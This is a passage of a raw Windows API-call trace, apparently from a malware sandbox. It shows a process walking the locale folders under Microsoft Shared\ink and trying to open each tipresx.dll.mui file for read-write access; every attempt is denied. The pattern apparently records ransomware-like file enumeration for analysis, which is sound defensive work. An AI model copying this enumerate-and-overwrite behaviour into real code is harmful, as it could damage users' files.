(in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0142.553] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.553] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0142.553] GetProcessHeap () returned 0x2a0000 [0142.553] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x284) returned 0x2f32d0 [0142.553] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.553] GetLastError () returned 0x5 [0142.553] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0142.553] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.553] GetProcessHeap () returned 0x2a0000 [0142.553] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.553] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e22d6e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x69e22d6e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x3188e7b0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a0200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0142.553] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472c5956, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0xa4945a00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x9fcc4285, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0142.553] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa12394d3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa12394d3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa125f634, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x179c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0142.554] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ad46e47, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5ad46e47, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x344e2230, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x609c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0142.554] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66c00201, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x66c00201, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x34eb4c90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0142.554] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901e133e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x901e133e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x353c2bb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x105a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0142.554] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0142.554] GetProcessHeap () returned 0x2a0000 [0142.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x82) returned 0x2ed368 [0142.554] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.554] GetProcessHeap () returned 0x2a0000 [0142.554] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0142.554] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.554] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0142.554] GetProcessHeap () returned 0x2a0000 [0142.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x284) returned 0x2f32d0 [0142.554] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.555] GetLastError () returned 0x5 [0142.555] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0142.555] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.555] GetProcessHeap () returned 0x2a0000 [0142.555] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.555] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0142.555] GetProcessHeap () returned 0x2a0000 [0142.555] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x82) returned 0x2ed368 [0142.555] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.556] GetProcessHeap () returned 0x2a0000 [0142.556] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0142.556] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.556] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0142.556] GetProcessHeap () returned 0x2a0000 [0142.556] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x284) returned 0x2f32d0 [0142.556] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.556] GetLastError () returned 0x5 [0142.556] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0142.556] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.556] GetProcessHeap () returned 0x2a0000 [0142.556] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.556] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0142.556] GetProcessHeap () returned 0x2a0000 [0142.556] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x82) returned 0x2ed368 [0142.556] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.558] GetProcessHeap () returned 0x2a0000 [0142.558] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0142.558] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.558] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0142.558] GetProcessHeap () returned 0x2a0000 [0142.558] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x284) returned 0x2f32d0 [0142.558] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.559] GetLastError () returned 0x5 [0142.559] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0142.559] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.559] GetProcessHeap () returned 0x2a0000 [0142.559] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.559] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0142.559] GetProcessHeap () returned 0x2a0000 [0142.559] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x82) returned 0x2ed368 [0142.559] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.560] GetProcessHeap () returned 0x2a0000 [0142.560] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0142.560] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.560] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0142.560] GetProcessHeap () returned 0x2a0000 [0142.560] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x284) returned 0x2f32d0 [0142.560] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.560] GetLastError () returned 0x5 [0142.560] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0142.560] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.560] GetProcessHeap () returned 0x2a0000 [0142.560] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.560] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0142.560] GetProcessHeap () returned 0x2a0000 [0142.560] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x82) returned 0x2ed368 [0142.561] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.561] GetProcessHeap () returned 0x2a0000 [0142.561] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0142.561] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.561] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0142.561] GetProcessHeap () returned 0x2a0000 [0142.561] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x284) returned 0x2f32d0 [0142.561] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.562] GetLastError () returned 0x5 [0142.562] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0142.562] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.562] GetProcessHeap () returned 0x2a0000 [0142.562] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.562] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0142.562] GetProcessHeap () returned 0x2a0000 [0142.562] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x82) returned 0x2ed368 [0142.562] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, 